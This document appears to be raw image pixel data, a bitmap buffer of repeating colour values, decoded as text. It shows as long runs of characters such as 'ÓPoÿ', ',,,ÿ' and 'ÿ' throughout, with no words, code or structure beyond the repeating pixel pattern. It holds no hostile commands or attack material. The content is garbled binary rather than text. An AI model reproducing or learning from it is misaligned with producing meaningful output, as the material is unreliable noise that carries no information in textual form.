PoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿºººÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿœ;RÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ|||ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ!!!ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿB#ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿöööÿLLLÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ´D^ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÕÕÕÿ111ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ&&&ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ\#0ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÃJgÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿýýýÿdddÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ)))ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿu,=ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿéééÿ===ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÍNlÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÂÂÂÿ---ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ+++ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿŽ6KÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿƒƒƒÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ/ÿÒPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿüýÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿøøøÿRRRÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ¦?WÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿÖêúÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÛÛÛÿ333ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,